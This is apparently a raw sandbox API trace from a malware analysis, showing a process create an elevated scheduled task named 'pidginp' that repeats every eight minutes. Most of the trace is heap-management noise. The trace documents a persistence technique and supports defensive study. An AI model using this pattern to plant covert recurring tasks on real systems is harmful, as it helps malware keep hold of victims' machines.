wHour=0x11, wMinute=0xf, wSecond=0x24, wMilliseconds=0x254)) [0113.216] lstrlenW (lpString="") returned 0 [0113.216] lstrlenW (lpString="") returned 0 [0113.216] lstrlenW (lpString="") returned 0 [0113.216] lstrlenW (lpString="") returned 0 [0113.216] lstrlenW (lpString="8") returned 1 [0113.216] _wtol (_String="8") returned 8 [0113.217] lstrlenW (lpString="") returned 0 [0113.217] lstrlenW (lpString="") returned 0 [0113.217] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0113.225] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0113.646] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x119ed7cf20 | out: ppv=0x119ed7cf20*=0x1b748c45700) returned 0x0 [0113.711] TaskScheduler:ITaskService:Connect (This=0x1b748c45700, serverName=0x119ed7d010*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x119ed7cfe0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x119ed7cfc0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x119ed7cfa0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0113.745] TaskScheduler:ITaskService:GetFolder (in: This=0x1b748c45700, Path=0x0, ppFolder=0x119ed7d100 | out: ppFolder=0x119ed7d100*=0x1b748c45880) returned 0x0 [0113.766] TaskScheduler:ITaskService:NewTask (in: This=0x1b748c45700, flags=0x0, ppDefinition=0x119ed7d0d8 | out: ppDefinition=0x119ed7d0d8*=0x1b748c45900) returned 0x0 [0113.766] ITaskDefinition:get_Actions (in: This=0x1b748c45900, ppActions=0x119ed7d020 | out: ppActions=0x119ed7d020*=0x1b748c45990) returned 0x0 [0113.766] IActionCollection:Create (in: This=0x1b748c45990, Type=0, ppAction=0x119ed7d060 | out: ppAction=0x119ed7d060*=0x1b748c45da0) returned 0x0 [0113.767] IUnknown:Release (This=0x1b748c45da0) returned 0x1 [0113.767] IUnknown:Release (This=0x1b748c45990) returned 0x1 [0113.767] ITaskDefinition:get_Triggers (in: This=0x1b748c45900, ppTriggers=0x119ed7cbd0 | out: ppTriggers=0x119ed7cbd0*=0x1b748c45c50) returned 0x0 [0113.767] ITriggerCollection:Create (in: This=0x1b748c45c50, Type=1, ppTrigger=0x119ed7cbb8 | out: ppTrigger=0x119ed7cbb8*=0x1b748c45e10) returned 0x0 [0113.767] lstrlenW (lpString="8") returned 1 [0113.767] _vsnwprintf (in: _Buffer=0x119ed7cb40, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x119ed7cb38 | out: _Buffer="PT8M") returned 4 [0113.767] ITrigger:get_Repetition (in: This=0x1b748c45e10, ppRepeat=0x119ed7cbb0 | out: ppRepeat=0x119ed7cbb0*=0x1b748c45ea0) returned 0x0 [0113.767] IRepetitionPattern:put_Interval (This=0x1b748c45ea0, Interval="PT8M") returned 0x0 [0113.768] IUnknown:Release (This=0x1b748c45ea0) returned 0x1 [0113.768] _vsnwprintf (in: _Buffer=0x119ed7cb00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x119ed7cad8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0113.768] ITrigger:put_StartBoundary (This=0x1b748c45e10, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0113.768] lstrlenW (lpString="") returned 0 [0113.768] lstrlenW (lpString="") returned 0 [0113.768] lstrlenW (lpString="") returned 0 [0113.768] lstrlenW (lpString="") returned 0 [0113.768] IUnknown:Release (This=0x1b748c45e10) returned 0x1 [0113.768] IUnknown:Release (This=0x1b748c45c50) returned 0x1 [0113.768] ITaskDefinition:get_Settings (in: This=0x1b748c45900, ppSettings=0x119ed7d060 | out: ppSettings=0x119ed7d060*=0x1b748c45ad0) returned 0x0 [0113.768] lstrlenW (lpString="") returned 0 [0113.768] IUnknown:Release (This=0x1b748c45ad0) returned 0x3 [0113.768] GetLocalTime (in: lpSystemTime=0x119ed7cf18 | out: lpSystemTime=0x119ed7cf18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x25, wMilliseconds=0x8f)) [0113.768] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0113.769] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x119ed7cf30, nSize=0x119ed7cf08 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x119ed7cf08) returned 0x1 [0113.769] ITaskDefinition:get_RegistrationInfo (in: This=0x1b748c45900, ppRegistrationInfo=0x119ed7cf00 | out: ppRegistrationInfo=0x119ed7cf00*=0x1b748c45a10) returned 0x0 [0113.769] IRegistrationInfo:put_Author (This=0x1b748c45a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0113.770] _vsnwprintf (in: _Buffer=0x119ed7cf30, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x119ed7cec8 | out: _Buffer="2023-09-19T17:15:37") returned 19 [0113.770] IRegistrationInfo:put_Date (This=0x1b748c45a10, Date="2023-09-19T17:15:37") returned 0x0 [0113.770] IUnknown:Release (This=0x1b748c45a10) returned 0x1 [0113.770] malloc (_Size=0x18) returned 0x1b748c45f20 [0113.770] free (_Block=0x1b748c45f20) [0113.770] lstrlenW (lpString="") returned 0 [0113.770] ITaskDefinition:get_Principal (in: This=0x1b748c45900, ppPrincipal=0x119ed7d0c8 | out: ppPrincipal=0x119ed7d0c8*=0x1b748c45cc0) returned 0x0 [0113.770] IPrincipal:put_RunLevel (This=0x1b748c45cc0, RunLevel=1) returned 0x0 [0113.770] IUnknown:Release (This=0x1b748c45cc0) returned 0x1 [0113.770] malloc (_Size=0x18) returned 0x1b748c45f20 [0113.771] ITaskFolder:RegisterTaskDefinition (in: This=0x1b748c45880, Path="pidginp", pDefinition=0x1b748c45900, flags=6, UserId=0x119ed7d170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x119ed7d150*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x119ed7d190*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x119ed7d130 | out: ppTask=0x119ed7d130*=0x1b748c46fd0) returned 0x0 [0114.269] free (_Block=0x1b748c45f20) [0114.269] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.269] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0114.269] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0114.269] GetProcessHeap () returned 0x1b748cb0000 [0114.269] GetProcessHeap () returned 0x1b748cb0000 [0114.269] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba800) returned 1 [0114.269] GetProcessHeap () returned 0x1b748cb0000 [0114.269] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba800) returned 0xc [0114.269] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba800) returned 1 [0114.269] GetProcessHeap () returned 0x1b748cb0000 [0114.269] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x82) returned 0x1b748cc9ce0 [0114.269] _vsnwprintf (in: _Buffer=0x119ed7d7e0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x119ed7d078 | out: _Buffer="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n") returned 69 [0114.269] __iob_func () returned 0x7ffa7941e210 [0114.269] _fileno (_File=0x7ffa7941e240) returned -2 [0114.269] _errno () returned 0x1b748c40840 [0114.269] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0114.269] RtlRestoreLastWin32Error () returned 0x119efbf000 [0114.269] lstrlenW (lpString="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n") returned 69 [0114.269] GetConsoleOutputCP () returned 0x0 [0114.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0114.270] GetConsoleOutputCP () returned 0x0 [0114.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0114.270] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 69 [0114.270] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0114.270] IUnknown:Release (This=0x1b748c46fd0) returned 0x0 [0114.270] TaskScheduler:IUnknown:Release (This=0x1b748c45900) returned 0x0 [0114.270] TaskScheduler:IUnknown:Release (This=0x1b748c45880) returned 0x0 [0114.270] TaskScheduler:IUnknown:Release (This=0x1b748c45700) returned 0x0 [0114.270] lstrlenW (lpString="") returned 0 [0114.270] lstrlenW (lpString="8") returned 1 [0114.270] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="8", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0114.270] GetProcessHeap () returned 0x1b748cb0000 [0114.270] GetProcessHeap () returned 0x1b748cb0000 [0114.270] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbabc0) returned 1 [0114.271] GetProcessHeap () returned 0x1b748cb0000 [0114.271] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbabc0) returned 0x1fc [0114.271] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbabc0) returned 1 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4a30) returned 1 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4a30) returned 0x4 [0114.272] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4a30) returned 1 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba840) returned 1 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba840) returned 0x16 [0114.272] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba840) returned 1 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbab80) returned 1 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbab80) returned 0x18 [0114.272] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbab80) returned 1 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb530) returned 1 [0114.272] GetProcessHeap () returned 0x1b748cb0000 [0114.272] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb530) returned 0x20 [0114.273] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb530) returned 1 [0114.273] GetProcessHeap () returned 0x1b748cb0000 [0114.273] GetProcessHeap () returned 0x1b748cb0000 [0114.273] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4260) returned 1 [0114.273] GetProcessHeap () returned 0x1b748cb0000 [0114.273] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4260) returned 0xa0 [0114.274] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4260) returned 1 [0114.274] GetProcessHeap () returned 0x1b748cb0000 [0114.274] GetProcessHeap () returned 0x1b748cb0000 [0114.274] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb2100) returned 1 [0114.274] GetProcessHeap () returned 0x1b748cb0000 [0114.274] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb2100) returned 0x18 [0114.274] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb2100) returned 1 [0114.274] GetProcessHeap () returned 0x1b748cb0000 [0114.274] GetProcessHeap () returned 0x1b748cb0000 [0114.274] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb830) returned 1 [0114.274] GetProcessHeap () returned 0x1b748cb0000 [0114.274] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb830) returned 0x20 [0114.275] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb830) returned 1 [0114.275] GetProcessHeap () returned 0x1b748cb0000 [0114.275] GetProcessHeap () returned 0x1b748cb0000 [0114.275] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbc0a0) returned 1 [0114.275] GetProcessHeap () returned 0x1b748cb0000 [0114.275] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbc0a0) returned 0x44 [0114.276] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbc0a0) returned 1 [0114.276] GetProcessHeap () returned 0x1b748cb0000 [0114.276] GetProcessHeap () returned 0x1b748cb0000 [0114.276] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba8c0) returned 1 [0114.276] GetProcessHeap () returned 0x1b748cb0000 [0114.276] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba8c0) returned 0x18 [0114.276] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba8c0) returned 1 [0114.276] GetProcessHeap () returned 0x1b748cb0000 [0114.276] GetProcessHeap () returned 0x1b748cb0000 [0114.276] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb800) returned 1 [0114.276] GetProcessHeap () returned 0x1b748cb0000 [0114.276] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb800) returned 0x20 [0114.277] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb800) returned 1 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.277] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbc370) returned 1 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.277] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbc370) returned 0x46 [0114.277] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbc370) returned 1 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.277] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbaa20) returned 1 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.277] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbaa20) returned 0x18 [0114.277] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbaa20) returned 1 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.277] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8c80) returned 1 [0114.277] GetProcessHeap () returned 0x1b748cb0000 [0114.279] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8c80) returned 0x20 [0114.279] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8c80) returned 1 [0114.279] GetProcessHeap () returned 0x1b748cb0000 [0114.279] GetProcessHeap () returned 0x1b748cb0000 [0114.279] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbab60) returned 1 [0114.279] GetProcessHeap () returned 0x1b748cb0000 [0114.279] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbab60) returned 0xe [0114.280] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbab60) returned 1 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba920) returned 1 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba920) returned 0x18 [0114.280] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba920) returned 1 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8c50) returned 1 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8c50) returned 0x20 [0114.280] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8c50) returned 1 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb96b0) returned 1 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.280] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb96b0) returned 0x208 [0114.280] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb96b0) returned 1 [0114.280] GetProcessHeap () returned 0x1b748cb0000 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4820) returned 1 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4820) returned 0x18 [0114.281] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4820) returned 1 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8b90) returned 1 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8b90) returned 0x20 [0114.281] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8b90) returned 1 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbba80) returned 1 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbba80) returned 0x200 [0114.281] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbba80) returned 1 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] GetProcessHeap () returned 0x1b748cb0000 [0114.281] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4710) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4710) returned 0x18 [0114.282] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4710) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8b30) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8b30) returned 0x20 [0114.282] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8b30) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3910) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3910) returned 0x14 [0114.282] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3910) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb38f0) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb38f0) returned 0x18 [0114.282] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb38f0) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8cb0) returned 1 [0114.282] GetProcessHeap () returned 0x1b748cb0000 [0114.282] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8cb0) returned 0x20 [0114.283] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8cb0) returned 1 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3930) returned 1 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3930) returned 0x16 [0114.283] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3930) returned 1 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4350) returned 1 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4350) returned 0x18 [0114.283] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4350) returned 1 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8d70) returned 1 [0114.283] GetProcessHeap () returned 0x1b748cb0000 [0114.283] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8d70) returned 0x20 [0114.284] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8d70) returned 1 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4a70) returned 1 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4a70) returned 0x2 [0114.284] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4a70) returned 1 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb43e0) returned 1 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb43e0) returned 0x20 [0114.284] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb43e0) returned 1 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4430) returned 1 [0114.284] GetProcessHeap () returned 0x1b748cb0000 [0114.284] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4430) returned 0x20 [0114.285] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4430) returned 1 [0114.285] GetProcessHeap () returned 0x1b748cb0000 [0114.285] GetProcessHeap () returned 0x1b748cb0000 [0114.285] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4460) returned 1 [0114.285] GetProcessHeap () returned 0x1b748cb0000 [0114.285] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4460) returned 0x20 [0114.285] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4460) returned 1 [0114.285] GetProcessHeap () returned 0x1b748cb0000 [0114.285] GetProcessHeap () returned 0x1b748cb0000 [0114.285] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3fd0) returned 1 [0114.285] GetProcessHeap () returned 0x1b748cb0000 [0114.285] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3fd0) returned 0x20 [0114.285] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3fd0) returned 1 [0114.285] GetProcessHeap () returned 0x1b748cb0000 [0114.285] GetProcessHeap () returned 0x1b748cb0000 [0114.285] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb470) returned 1 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.286] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb470) returned 0x20 